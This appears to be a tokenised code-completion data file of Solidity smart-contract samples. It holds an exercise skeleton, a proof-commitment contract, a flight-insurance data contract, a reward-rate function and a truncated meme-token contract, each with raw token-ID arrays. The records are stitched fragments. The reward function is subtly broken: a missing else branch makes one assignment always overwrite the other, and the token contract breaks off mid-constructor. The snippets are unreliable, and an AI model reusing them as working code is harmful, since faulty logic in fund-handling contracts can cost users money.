[ 1, 565, 445, 4604, 38, 22889, 12, 11890, 5034, 1147, 6275, 774, 38, 9835, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 2316, 6275, 774, 38, 9835, 405, 374, 16, 315, 11926, 30143, 2690, 2430, 8863, 203, 203, 3639, 2254, 5034, 563, 31, 203, 203, 3639, 309, 261, 2316, 6275, 774, 38, 9835, 1648, 324, 22889, 37, 13, 288, 203, 5411, 563, 273, 374, 31, 203, 5411, 563, 273, 261, 2316, 6275, 774, 38, 9835, 18, 16411, 12, 25, 13, 2934, 2892, 12, 6625, 1769, 203, 5411, 563, 273, 261, 2316, 6275, 774, 38, 9835, 18, 16411, 12, 2163, 13, 2934, 2892, 12, 6625, 1769, 203, 5411, 563, 273, 261, 2316, 6275, 774, 38, 9835, 18, 16411, 12, 3600, 13, 2934, 2892, 12, 6625, 1769, 203, 5411, 563, 273, 261, 2316, 6275, 774, 38, 9835, 18, 16411, 12, 3462, 13, 2934, 2892, 12, 6625, 1769, 203, 3639, 289, 203, 3639, 327, 563, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract ArcadeToken { // set the contract owner to msg.sender here (make sure it is a payable address) // set the symbol of the token here (make sure to set the string as public) // set the exchange_rate for how many tokens to distribute per wei // set a mapping of address to uint called "balances" function balance() public view returns(uint) { // return the balance of msg.sender from the balances mapping } function transfer(address recipient, uint value) public { // subtract the value from msg.sender's balance // add value to the recipient's balance } function purchase() public payable { uint amount = ; // multiply the exchange rate by the msg.value // add the amount to the msg.sender's balance // transfer the msg.value to the owner address } function mint(address recipient, uint value) public { // require that the msg.sender is the owner // add the value to the recipient's balance } }
set the contract owner to msg.sender here (make sure it is a payable address) set the symbol of the token here (make sure to set the string as public) set the exchange_rate for how many tokens to distribute per wei set a mapping of address to uint called "balances"
contract ArcadeToken { function balance() public view returns(uint) { } function transfer(address recipient, uint value) public { } function purchase() public payable { } function mint(address recipient, uint value) public { } }
12,719,024
[ 1, 542, 326, 6835, 3410, 358, 1234, 18, 15330, 2674, 261, 6540, 3071, 518, 353, 279, 8843, 429, 1758, 13, 444, 326, 3273, 434, 326, 1147, 2674, 261, 6540, 3071, 358, 444, 326, 533, 487, 1071, 13, 444, 326, 7829, 67, 5141, 364, 3661, 4906, 2430, 358, 25722, 1534, 732, 77, 444, 279, 2874, 434, 1758, 358, 2254, 2566, 315, 70, 26488, 6, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1201, 5065, 1345, 288, 203, 203, 203, 565, 445, 11013, 1435, 1071, 1476, 1135, 12, 11890, 13, 288, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 460, 13, 1071, 288, 203, 565, 289, 203, 203, 565, 445, 23701, 1435, 1071, 8843, 429, 288, 203, 565, 289, 203, 203, 565, 445, 312, 474, 12, 2867, 8027, 16, 2254, 460, 13, 1071, 288, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Minimum required version of Solidity (Ethereum programming language) pragma solidity ^0.4.0; // Soldity contract for proof of perception contract Percept { mapping(bytes32 => Proof) public proofs; // Proof storage mappings (key => value data) struct Proof { // Proof data type // Pre-release data address creator; // Address of the proof maker bytes32 hash; // 1-way hash of the proof text uint timestamp; // Unix timestamp of the proof's creation uint blockNum; // Latest block number during proof creation bytes32 proofMapping; // Mapping hash of sender address, timestamp, block number, and proof hash // Post-release data string release; // Proof string of perception bool released; // Whether this proof has been released or not uint releaseTime; // Unix timestamp of the proof's release uint releaseBlockNum; // Latest block number during proof release } // Function to submit a new unreleased proof // Param: hash (32 bytes) - Hash of the proof text function submitProof(bytes32 hash) public returns (bytes32) { uint timestamp = now; // Current unix timestamp uint blockNum = block.number; // Current block number this transaction is in bytes32 proofMapping = keccak256(abi.encodePacked(msg.sender, timestamp, blockNum, hash)); // Mapping hash of proof data // Construct the proof in memory, unreleased Proof memory proof = Proof(msg.sender, hash, timestamp, blockNum, proofMapping, "", false, 0, 0); // Store the proof in the contract mapping storage proofs[proofMapping] = proof; return proofMapping; // Return the generated proof mapping } // Release the contents of a submitted proof // Param: proofMapping (32 bytes) - The key to lookup the proof // Param: release (string) - The text that was originally hashed function releaseProof(bytes32 proofMapping, string release) public { // Load the unreleased proof from storage Proof storage proof = proofs[proofMapping]; require(msg.sender == proof.creator); // Ensure the releaser was the creator require(proof.hash == keccak256(abi.encodePacked(release))); // Ensure the release string's hash is the same as the proof require(!proof.released); // Ensure the proof isn't released yet proof.release = release; // Release the proof text proof.released = true; // Set proof released flag to true proof.releaseTime = now; // Set the release unix timestamp to now proof.releaseBlockNum = block.number; // Set the release block number to the current block number } // Function to determine whether a proof is valid for a certain verification string // Should not be called on blockchain, only on local cache // Param: proofMapping (32 bytes) - The key to lookup the proof // Param: verify (string) - The text that was supposedly originally hashed function isValidProof(bytes32 proofMapping, string verify) public view returns (bool) { Proof memory proof = proofs[proofMapping]; // Load the proof into memory require(proof.creator != 0); // Ensure the proof exists return proof.hash == keccak256(abi.encodePacked(verify)); // Return whether the proof hash matches the verification's hash } // Functon to retrieve a proof that has not been completed yet // Should not be called on blockchain, only on local hash // Param: proofMapping (32 bytes) - The key to lookup the proof function retrieveIncompleteProof(bytes32 proofMapping) public view returns ( address creator, bytes32 hash, uint timestamp, uint blockNum ) { Proof memory proof = proofs[proofMapping]; // Load the proof into memory require(proof.creator != 0); // Ensure the proof exists require(!proof.released); // Ensure the proof has not been released // Return the collective proof data individually return ( proof.creator, proof.hash, proof.timestamp, proof.blockNum ); } // Functon to retrieve a proof that has been completed // Should not be called on blockchain, only on local hash // Param: proofMapping (32 bytes) - The key to lookup the proof function retrieveCompletedProof(bytes32 proofMapping) public view returns ( address creator, string release, bytes32 hash, uint timestamp, uint releaseTime, uint blockNum, uint releaseBlockNum ) { Proof memory proof = proofs[proofMapping]; // Load the proof into memory require(proof.creator != 0); // Ensure the proof exists require(proof.released); // Ensure the proof has been released // Return the collective proof data individually return ( proof.creator, proof.release, proof.hash, proof.timestamp, proof.releaseTime, proof.blockNum, proof.releaseBlockNum ); } }
Load the proof into memory
Proof memory proof = proofs[proofMapping];
6,485,491
[ 1, 2563, 326, 14601, 1368, 3778, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1186, 792, 3778, 14601, 273, 14601, 87, 63, 24207, 3233, 15533, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0xf3AEEfc0908FFd9b7821D15bf6b88c3c6CbAE46E/sources/Tank/TankChef.sol
* Updates de rewardPerBlock value based in the reward balance left in the pool and the _blockNumber param and updates the pool @param _blockNumber if is zero the function will calculate the rewardPerBlock with the startBlock number/
function updateRewardPerBlock(uint256 _blockNumber) internal { uint256 totalLeft = rewardBalance(); if (_blockNumber > 0) { rewardPerBlock = totalLeft.div(endBlock.sub(_blockNumber)); rewardPerBlock = totalLeft.div(endBlock.sub(startBlock)); } updatePool(); }
3,753,141
[ 1, 5121, 443, 19890, 2173, 1768, 460, 2511, 316, 326, 19890, 11013, 2002, 316, 326, 2845, 471, 326, 389, 2629, 1854, 579, 471, 4533, 326, 2845, 225, 389, 2629, 1854, 309, 353, 3634, 326, 445, 903, 4604, 326, 19890, 2173, 1768, 598, 326, 787, 1768, 1300, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 17631, 1060, 2173, 1768, 12, 11890, 5034, 389, 2629, 1854, 13, 2713, 288, 203, 3639, 2254, 5034, 2078, 3910, 273, 19890, 13937, 5621, 203, 3639, 309, 261, 67, 2629, 1854, 405, 374, 13, 288, 203, 5411, 19890, 2173, 1768, 273, 2078, 3910, 18, 2892, 12, 409, 1768, 18, 1717, 24899, 2629, 1854, 10019, 203, 5411, 19890, 2173, 1768, 273, 2078, 3910, 18, 2892, 12, 409, 1768, 18, 1717, 12, 1937, 1768, 10019, 203, 3639, 289, 203, 3639, 1089, 2864, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false struct Airline { string name; address wallet; bool isFunded; bool isRegistered; uint256 airlineStackedEth; uint256 numberOfVotes; bool exists; } struct Flight { string name; address airline; bool isRegistered; uint8 statusCode; uint256 timestamp; } mapping(address => Airline) public airlines; // airlines mapping(bytes32 => Flight) public flights; // flights mapping(address => mapping(bytes32 => uint256)) private premiums; // premiums mapping(bytes32 => address[]) private policyHolders; // find all addresses for a specific flight mapping(address => uint256) private payouts; // payouts mapping(address => mapping(address => bool)) private addressAlreadyVotedForAirline; // votesByAirline uint256 public MIN_AIRLINE_FUNDS = 10 ether; uint256 public MAX_INSURANCE_PREMIUM_VALUE = 1 ether; uint256 public AIRLINE_THRESHOLD_FOR_VOTING = 4; mapping(address => uint256) public votesByAddress; uint256 public airlinesNumber = 0; uint256 public REIMBURSE_RATE = 150; address public authorizedCaller; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ event PolicyHolderPayoutReceived(address policyHolder, uint256 amount); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor(string newAirlineName) public { contractOwner = msg.sender; // first airfline registered on the creation of the contract airlines[contractOwner] = Airline({ name: newAirlineName, wallet: contractOwner, isFunded: false, isRegistered: true, airlineStackedEth: 0, exists: true, numberOfVotes: 1 }); incrementAirlineNumber(); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /** * @dev Modifier that requires the "airline" to be already registered */ modifier requireRegisteredAirline(address airlineAddress) { require( airlineIsRegistered(airlineAddress), "Airline is not registered yet" ); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "airline" to be already funded */ modifier requireIsAirlineFunded(address airlineAddress) { require(airlines[airlineAddress].isFunded, "Airline is not funded yet"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "airline" doesn't exist */ modifier requireAirlineDoesntExist(address airlineAddress) { require( false == airlineExists(airlineAddress), "Airline already exists" ); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "airline" exist */ modifier requireAirlineExist(address airlineAddress) { require(true == airlineExists(airlineAddress), "Airline doesn't exist"); _; // All modifiers require an "_" which indicates where the function body will be added } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Is it an existing airline * * @return A bool that represents if the airline exists */ function airlineExists(address newAirlineAddress) public view returns (bool) { return airlines[newAirlineAddress].exists; } /** * @dev Is it a registered airline * * @return A bool that represents if the airline is registered */ function airlineIsRegistered(address newAirlineAddress) public view returns (bool) { return airlines[newAirlineAddress].isRegistered; } /** * @dev Is it a funded airline * * @return A bool that represents if the airline is funded */ function airlineIsFunded(address newAirlineAddress) public view returns (bool) { return airlines[newAirlineAddress].isFunded; } /** * @dev Number of votes for an airline * * @return An int that represents if the airline exists */ function getNumberOfVotes(address newAirlineAddress) public view returns (uint256) { return airlines[newAirlineAddress].numberOfVotes; } /** * @dev Get max insurance premium value * * @return max insurance premium value */ function getMaxInsurancePremiumValue() public view returns (uint256) { return MAX_INSURANCE_PREMIUM_VALUE; } /** * @dev Get min fund * * @return */ function getMinFund() public view returns (uint256) { return MIN_AIRLINE_FUNDS; } /** * @dev Number of airlines * * @return uint256 */ function getNumberOfAirlines() public view returns (uint256) { return airlinesNumber; } /** * @dev Voting Threshold * * @return uint256 */ function getVotingThreshold() public view returns (uint256) { return AIRLINE_THRESHOLD_FOR_VOTING; } /** * @dev set registered field of an airline * * @return A bool that represents if the airline is registered */ function setRegistrationStatus( address newAirlineAddress, bool registrationStatus ) public requireIsOperational { airlines[newAirlineAddress].isRegistered = registrationStatus; } function setAuthorizedCaller(address _authorizedCaller) public requireIsOperational requireContractOwner { authorizedCaller = _authorizedCaller; } /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view returns (bool) { return operational; } /** * @dev increment the number of airlines * * @return */ function incrementAirlineNumber() public requireIsOperational { airlinesNumber++; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus(bool mode) external requireContractOwner { operational = mode; } /** * @dev Vote for airline * * */ function vote(address newAirlineAddress, address electorAirlineAddress) external returns (uint256) { bool alreadyVoted = addressAlreadyVotedForAirline[ electorAirlineAddress ][newAirlineAddress]; if (alreadyVoted != true) { airlines[newAirlineAddress].numberOfVotes = 1 + airlines[newAirlineAddress].numberOfVotes; } addressAlreadyVotedForAirline[electorAirlineAddress][ newAirlineAddress ] = true; return airlines[newAirlineAddress].numberOfVotes; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline( address newAirlineAddress, string newAirlineName, address registeringAirlineAddress ) external requireIsOperational requireIsAirlineFunded(registeringAirlineAddress) requireAirlineDoesntExist(newAirlineAddress) returns (bool) { airlines[newAirlineAddress] = Airline({ name: newAirlineName, wallet: newAirlineAddress, isFunded: false, isRegistered: false, airlineStackedEth: 0, numberOfVotes: 0, exists: true }); return true; } /** * @dev Add a flight to the flights map * Can only be called from FlightSuretyApp contract * */ function registerFlight( string flight, uint256 departureTimestamp, uint8 statusCode, address airlineAddress ) external requireIsOperational returns (bool) { bytes32 key = getFlightKey(msg.sender, flight, departureTimestamp); flights[key] = Flight({ name: flight, airline: airlineAddress, isRegistered: true, statusCode: statusCode, timestamp: departureTimestamp }); return flights[key].isRegistered; } function getFlight(string _flight, uint256 _departureTimestamp) external view requireIsOperational returns (uint8 statusCode) { bytes32 key = getFlightKey(msg.sender, _flight, _departureTimestamp); statusCode = flights[key].statusCode; return statusCode; } /** * @dev Update flight info * Can only be called from FlightSuretyApp contract * */ function updateFlightStatusCode(bytes32 flightKey, uint8 statusCode) external requireIsOperational { flights[flightKey].statusCode = statusCode; } /** * @dev Buy insurance for a flight * */ function buy( address airlineAddress, uint256 timestamp, string flight, address passengerAddress, uint256 amount ) external payable requireIsOperational { require( amount > 0, "Flight insurance is not free, premium payment needed (Data contract)" ); require( amount <= MAX_INSURANCE_PREMIUM_VALUE, "Flight premium amount can't exceed 1ETH (Data contract)" ); bytes32 flightKey = getFlightKey(airlineAddress, flight, timestamp); premiums[passengerAddress][flightKey] = premiums[passengerAddress][ flightKey ].add(amount); policyHolders[flightKey].push(passengerAddress); } /** * @dev Credits payouts to insurees */ function creditInsurees(bytes32 flightKey) external requireIsOperational { for (uint256 i = 0; i < policyHolders[flightKey].length; i++) { address passengerAddress = policyHolders[flightKey][i]; uint256 reimburseAmount = premiums[passengerAddress][flightKey] .mul(REIMBURSE_RATE) .div(100); // delete insurance info delete policyHolders[flightKey][i]; delete premiums[passengerAddress][flightKey]; // credit the policyHolder a payout payouts[passengerAddress] = reimburseAmount; emit PolicyHolderPayoutReceived(passengerAddress, reimburseAmount); } } /** * @dev Transfers eligible payout funds to insuree * */ function pay(address policyHolderAddress) external requireIsOperational { require(payouts[policyHolderAddress] > 0, "No payouts available"); require( policyHolderAddress == tx.origin, "Payouts to contracts forbidden" ); uint256 reimburseAmount = payouts[policyHolderAddress]; payouts[policyHolderAddress] = 0; policyHolderAddress.transfer(reimburseAmount); } function getPayoutAmount(address policyHolderAddress) external view requireIsOperational returns (uint256) { return payouts[policyHolderAddress]; } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund(address airlineAddress, uint256 amount) external payable requireIsOperational requireAirlineExist(airlineAddress) { uint256 alreadyFundedAmount = airlines[airlineAddress] .airlineStackedEth; airlines[airlineAddress].airlineStackedEth = alreadyFundedAmount.add( amount ); if (airlines[airlineAddress].airlineStackedEth >= MIN_AIRLINE_FUNDS) { airlines[airlineAddress].isFunded = true; } } function getFlightKey( address airline, string memory flight, uint256 timestamp ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } }
*******************************************************************************************/ DATA VARIABLES */*******************************************************************************************/
struct Airline { string name; address wallet; bool isFunded; bool isRegistered; uint256 airlineStackedEth; uint256 numberOfVotes; bool exists; }
12,786,229
[ 1, 19, 4766, 4202, 8730, 22965, 55, 19694, 368, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 432, 481, 1369, 288, 203, 3639, 533, 508, 31, 203, 3639, 1758, 9230, 31, 203, 3639, 1426, 17646, 12254, 31, 203, 3639, 1426, 353, 10868, 31, 203, 3639, 2254, 5034, 23350, 1369, 2624, 329, 41, 451, 31, 203, 3639, 2254, 5034, 7922, 29637, 31, 203, 3639, 1426, 1704, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/8453/0xcad497F02b3d0B695Ad296CE494A190D06f88D67/sources/BMX.sol
bool private isUni=false;
contract BMX is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _buyerMap; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _preventSwapBefore=25; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Base Mong X"; string private constant _symbol = unicode"BMX"; uint256 private _taxSwapThreshold=0 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = 